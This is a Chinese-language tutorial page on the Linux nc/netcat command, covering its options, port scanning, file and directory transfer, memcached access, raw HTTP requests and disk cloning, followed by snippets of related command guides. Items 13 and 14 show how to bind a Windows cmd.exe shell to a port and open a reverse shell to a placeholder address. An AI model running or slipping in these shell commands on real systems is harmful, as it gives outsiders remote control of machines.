1. 程式人生 > >linux nc/netcat命令使用詳解

linux nc/netcat命令使用詳解

linux nc命令使用詳解 功能說明:功能強大的網路工具 語  法:nc [-hlnruz][-g<閘道器...>][-G<指向器數目>][-i<延遲秒數>][-o<輸出檔案>][-p<通訊埠>][-s<來源位址>][-v...][-w<超時秒數>][主機名稱][通訊埠...] 參  數: -g<閘道器>  設定路由器躍程通訊閘道器,最丟哦可設定8個。 -G<指向器數目>  設定來源路由指向器,其數值為4的倍數。 -h  線上幫助。 -i<延遲秒數>  設定時間間隔,以便傳送資訊及掃描通訊埠。 -l  使用監聽模式,管控傳入的資料。 -n  直接使用IP地址,而不通過域名伺服器。 -o<輸出檔案>  指定檔名稱,把往來傳輸的資料以16進位制字碼傾倒成該檔案儲存。 -p<通訊埠>  設定本地主機使用的通訊埠。 -r  亂數指定本地與遠端主機的通訊埠。 -s<來源位址>  設定本地主機送出資料包的IP地址。 -u  使用UDP傳輸協議。 -v 詳細輸出--用兩個-v可得到更詳細的內容 -w<超時秒數>  設定等待連線的時間。 -z  使用0輸入/輸出模式,只在掃描通訊埠時使用。 nc使用示例 1. 埠掃描 # nc -v -w 2 192.168.2.34 -z 21-24 nc: connect to 192.168.2.34 port 21 (tcp) failed: Connection refused Connection to 192.168.2.34 22 port [tcp/ssh] succeeded! nc: connect to 192.168.2.34 port 23 (tcp) failed: Connection refused nc: connect to 192.168.2.34 port 24 (tcp) failed: Connection refused 2. 從192.168.2.33拷貝檔案到192.168.2.34 在192.168.2.34上: nc -l 1234 > test.txt 在192.168.2.33上: nc 192.168.2.34 < test.txt 3. 簡單聊天工具 在192.168.2.34上: nc -l 1234 在192.168.2.33上: nc 192.168.2.34 1234 這樣,雙方就可以相互交流了。使用ctrl+C(或D)退出。 4. 用nc命令操作memcached 1)儲存資料:printf “set key 0 10 6rnresultrn” |nc 192.168.2.34 11211 2)獲取資料:printf “get keyrn” |nc 192.168.2.34 11211 3)刪除資料:printf “delete keyrn” |nc 192.168.2.34 11211 4)檢視狀態:printf “statsrn” |nc 192.168.2.34 11211 5)模擬top命令檢視狀態:watch “echo stats” |nc 192.168.2.34 11211 6)清空快取:printf “flush_allrn” |nc 192.168.2.34 11211 (小心操作,清空了快取就沒了) 5. nc -p 1234 -w 5 host.example.com 80 建立從本地1234埠到host.example.com的80埠連線,5秒超時 nc -u host.example.com 53 u為UDP連線 6. echo -n "GET / HTTP/1.0"r"n"r"n" | nc host.example.com 80 連線到主機並執行 7. nc -v -z host.example.com 70-80 掃描埠(70到80),可指定範圍。-v輸出詳細資訊。 8. 遠端拷貝檔案 從server1拷貝檔案到server2上。需要先在server2上,用nc啟用監聽, server2上執行:
[email protected]
tmp]# nc -lp 1234 > install.log server1上執行: [[email protected] ~]# ll install.log -rw-r–r–  1 root root 39693 12月 20  2007 install.log [[email protected] ~]# nc -w 1 192.168.228.222 1234 < install.log 9. 克隆硬碟或分割槽 操作與上面的拷貝是雷同的,只需要由dd獲得硬碟或分割槽的資料,然後傳輸即可。 克隆硬碟或分割槽的操作,不應在已經mount的的系統上進行。所以,需要使用安裝光碟引導後,進入拯救模式(或使用Knoppix工 具光碟)啟動系統後,在server2上進行類似的監聽動作: # nc -l -p 1234 | dd of=/dev/sda server1上執行傳輸,即可完成從server1克隆sda硬碟到server2的任務: # dd if=/dev/sda | nc 192.168.228.222 1234 ※ 完成上述工作的前提,是需要落實光碟的拯救模式支援伺服器上的網絡卡,並正確配置IP。 10. 儲存Web頁面 # while true; do nc -l -p 80 -q 1 < somepage.html; done 11. 模擬HTTP Headers,獲取網頁原始碼和返回頭部資訊 [
[email protected]
~]# nc www.linuxso.com 80 GET / HTTP/1.1 Host: ispconfig.org Referrer: mypage.com User-Agent: my-browser HTTP/1.1 200 OK Date: Tue, 16 Dec 2008 07:23:24 GMT Server: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8 Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/ Expires: 0 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Cache-Control: private, post-check=0, pre-check=0, max-age=0 Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/ Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/
html
[......] 在nc命令後,輸入紅色部分的內容,然後按兩次回車,即可從對方獲得HTTP Headers內容。 12. 傳輸目錄 從server1拷貝nginx-0.6.34目錄內容到server2上。需要先在server2上,用nc啟用監聽,server2上執行: 引用 [[email protected] tmp]# nc -l 1234 |tar xzvf - server1上執行: 引用 [[email protected] ~]# ll -d nginx-0.6.34 drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34 [[email protected] ~]# tar czvf – nginx-0.6.34|nc 192.168.228.222 1234 13.REMOTE主機繫結SHELL 例子: 格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe 講解:繫結REMOTE主機的CMDSHELL在REMOTE主機的TCP5354埠 14.REMOTE主機繫結SHELL並反向連線 例子: 格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354 講解:繫結REMOTE主機的CMDSHELL並反向連線到192.168.x.x的TCP5354埠 以上為最基本的幾種用法(其實NC的用法還有很多, 當配合管道命令"|"與重定向命令"<"、">"等等命令功能更強大......)。

相關推薦

linux nc/netcat命令使用

linux nc命令使用詳解 功能說明:功能強大的網路工具 語  法:nc [-hlnruz][-g<閘道器...>][-G<指向器數目>][-i<延遲秒數>][-o<輸出檔案>][-p<通訊埠>][-s<

linux下cat命令

forever ron localhost root sta testing 幫助 查看 一點 1、cat 顯示文件連接文件內容的工具; cat 是一個文本文件查看和連接工具。查看一個文件的內容,用cat比較簡單,就是cat 後面直接接文件名。 比如: de>[[

Linux:at命令

計時 osi 執行 inux days pan 必須 man 一個 at命令 at命令為單一工作調度命令。at命令非常簡單,但是在指定時間上卻非常強大 語法 at [選項] time at > 執行的命令 ctrl+d 選項 -m :當指定的任務被

linux 之awk命令

數學函數 mat loop 多次 finished 數組結構 save pre 新的 awk是一種程序語言,對文檔資料的處理具有很強的功能。awk名稱是由它三個最初設計者的姓氏的第一個字母而命名的: Alfred V. Aho、Peter J. We i n b e rg

Linux入門及命令

linux入門、date、echo一、用戶登錄 root用戶 ① 一個特殊的管理賬戶; ②又叫超級管理員; ③對系統的損害有無限的能力; ④除非必要,否則不要用root登錄; 普通用戶 ①權限有限; ②造成系統損害

linux下vim命令

但是 左移 功能 命令 file lips 查找替換 括號匹配 所想 高級一些的編輯器,都會包含宏功能,vim當然不能缺少了,在vim中使用宏是非常方便的::qx 開始記錄宏,並將結果存入寄存器xq 退出記錄模式@x 播放記錄在x寄存器中的宏命令稍微

【轉載】Linux下chkconfig命令

name scrip 再次 http 缺省 重新 禁止 level pool chkconfig命令主要用來更新(啟動或停止)和查詢系統服務的運行級信息。謹記chkconfig不是立即自動禁止或激活一個服務,它只是簡單的改變了符號連接。 使用語法:chkconfig [--

Linux的ll命令

uid ets 版本信息 cal 可執行 文件和目錄 tac ssh 鏈接文件 ll 列出來的結果詳細,有時間,是否可讀寫等信息 ,象windows裏的 詳細信息 ls 只列出文件名或目錄名 就象windows裏的 列表 ll -t 是降序, ll -t | tac

linux中expect命令

linux運維expect介紹expect 是由Don Libes基於Tcl(Tool Command Language )語言開發的,主要應用於自動化交互式操作的場景,借助Expect處理交互的命令,可以將交互過程如:ssh登錄,ftp登錄等寫在一個腳本上,使之自動化完成。尤其適用於需要對多臺服務器執行相同

Linux ps aux 命令

body 字段 虛擬 詳解 睡眠 停止 命令詳解 user aux ps aux 命令產生的進程信息的各字段含義 字段 含義 USER 進程創建者的用戶名 PID 進程的ID號 %CPU 進程占用百分百比 %MEM 進程占用內存百分比 VSZ 進

Linux之find命令

Linux find find:實時查找工具,通過遍歷指定起始路徑下文件系統層級結構完成文件查找: 工作特性: 查找速度略慢: 精確查找: 實時查找: 用法: find [OPTIONS][查找起始路徑][查找條件

Linux 下route命令

linux route路由詳解為了讓設備能訪問另一個子網,需要在設備裏增加路由到子網絡,下面是一些資料。基本操作如下: 一般來說,都是為了能訪問別的子網才設置路由的,比如說,你的主機處於192.168.10.0/24,而你想訪問192.168.20.0/24網的主機,當然你知道一個網關IP,例如192.168

linux中at命令

at一次性計劃任務 at詳解 系統命令 at命令: 一:簡介: 計劃任務,在特定的時間執行某項工作,在特定的時間執行一次,需要安裝at服務,apt-get install at 二:時間定義: at允許使用一套相當復雜的指定時間的方法。● 能夠接受在當天的hh:mm(小時:分鐘)式的時間指定。假如

Linux nc/netcat 命令介紹

don 等待 數據包 opp 範圍 mep -s 操作 nginx 1,nc命令是netcat命令的簡稱,都是用來設置路由器。 2,語法nc/netcat(選項)(參數) 3,選項-g<網關>:設置路由器躍程通信網關,最多設置8個;-G<指向器數目>

Linux head/tail命令

link display mes script following -- ati fir between head命令用於顯示文件的開頭的內容。在默認情況下,head命令顯示文件的頭10行內容。 tail命令用於顯示文件的結尾的內容。在默認情況下,taild命令顯示文件的後

linux 重定向命令(如1>/dev/null 2>&1)

信息 重定向命令 指定路徑 定向 終端 pre inux 輸入 設備 基礎 0:表示標準輸入stdin 1:表示標準輸出stdout,系統默認為1,可省略(即1>/dev/null等價於>/dev/null) 2:表示標準錯誤stderr >:表示重定向

linux的mount命令

html 由於 只讀 linux系統 核心 工作經驗 something roc unit linux下掛載(mount)光盤鏡像文件、移動硬盤、U盤、Windows和NFS網絡共享linux是一個優秀的開放源碼的操作系統,可以運行在大到巨型小到掌上型各類計算機系統上,隨著

玩轉LINUX之sed命令

用戶 常見 mail 括號 {} int 緩沖 復雜 commands Linux sed命令是利用script來處理文本文件。 sed可依照script的指令,來處理、編輯文本文件。 Sed主要用來自動編輯一個或多個文件;簡化對文件的反復操作;編寫轉換程序等。 執行時,s

linux下 yum命令

本文轉自http://www.cnblogs.com/chuncn/archive/2010/10/17/1853915.html yum(全稱為 Yellow dog Updater, Modified) 是一個在Fedora和RedHat以及SUSE中的Shell前端軟體包管理器。基於R

Linux的wget命令

Linux wget是一個下載檔案的工具,它用在命令列下。對於Linux使用者是必不可少的工具,尤其對於網路管理員,經常要下載一些軟體或從遠端伺服器恢復備份到本地伺服器。如果我們使用虛擬主機,處理這樣的事務我們只能先從遠端伺服器下載到我們電腦磁碟,然後再用ftp工具上傳到伺服器。這樣既浪費時間又浪費